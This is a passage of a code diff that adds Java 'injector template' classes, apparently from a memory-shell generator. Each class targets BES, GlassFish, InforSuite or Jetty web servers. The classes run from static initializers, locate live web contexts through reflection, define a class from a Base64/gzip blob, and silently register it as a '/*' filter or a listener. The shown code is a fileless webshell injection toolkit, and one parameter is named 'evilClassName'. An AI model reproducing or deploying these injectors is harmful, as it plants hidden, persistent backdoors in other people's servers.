out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,220 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class BESListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new BESListenerInjectorTpl();
}
public BESListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
public Thread[] getThreads() {
Thread[] var0 = null;
try {
var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads"));
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Exception ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
if (isInjected(context, listener.getClass().getName())) {
return;
}
try {
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
} catch (Exception e) {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", new Class[0], new Object[0]);
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
arrayList.add(listener);
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", new Class[0], new Object[0]);
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,214 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishFilterInjectorTpl();
}
public GlassFishFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) throws Exception {
String filterName = getSimpleName(getClassName());
try {
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,198 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishListenerInjectorTpl();
}
public GlassFishListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Exception ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
try {
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
boolean isExist = false;
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
isExist = true;
break;
}
}
if (!isExist) {
eventListeners.add((EventListener) listener);
}
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,223 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class InforSuiteFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new InforSuiteFilterInjectorTpl();
}
public InforSuiteFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
public Thread[] getThreads(){
Thread[] var0 = null;
try {
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private Object getFilter(Object context) throws Exception {
ClassLoader classLoader = (ClassLoader) getFV(getFV(context, "loader"), "classLoader");
Object filter = null;
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterName = getSimpleName(getClassName());
try {
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilter", new Class[]{Class.forName("javax.servlet.Filter")}, new Object[]{filter});
invokeMethod(filterDef, "setFilterClassName", new Class[]{String.class}, new Object[]{null});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// org.apache.catalina.core.StandardContext.addFilterMap(org.apache.catalina.deploy.FilterMap, boolean)
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception ignored) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,194 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class InforSuiteListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new InforSuiteListenerInjectorTpl();
}
public InforSuiteListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList();
Thread[] threads = getThreads();
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
public Thread[] getThreads() throws Exception {
Thread[] var0 = null;
try {
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
} catch (NoSuchMethodException var3) {
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
var0 = new Thread[var2.activeCount()];
var2.enumerate(var0);
}
return var0;
}
private Object getListener(Object context) throws Exception {
ClassLoader classLoader = (ClassLoader) getFV(getFV(context, "loader"), "classLoader");
Object listener = null;
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Exception ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
try {
List<EventListener> appEventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
appEventListeners.add((EventListener) listener);
} catch (Exception ignored) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,300 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v8、v9
*/
public class JettyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyFilterInjectorTpl();
}
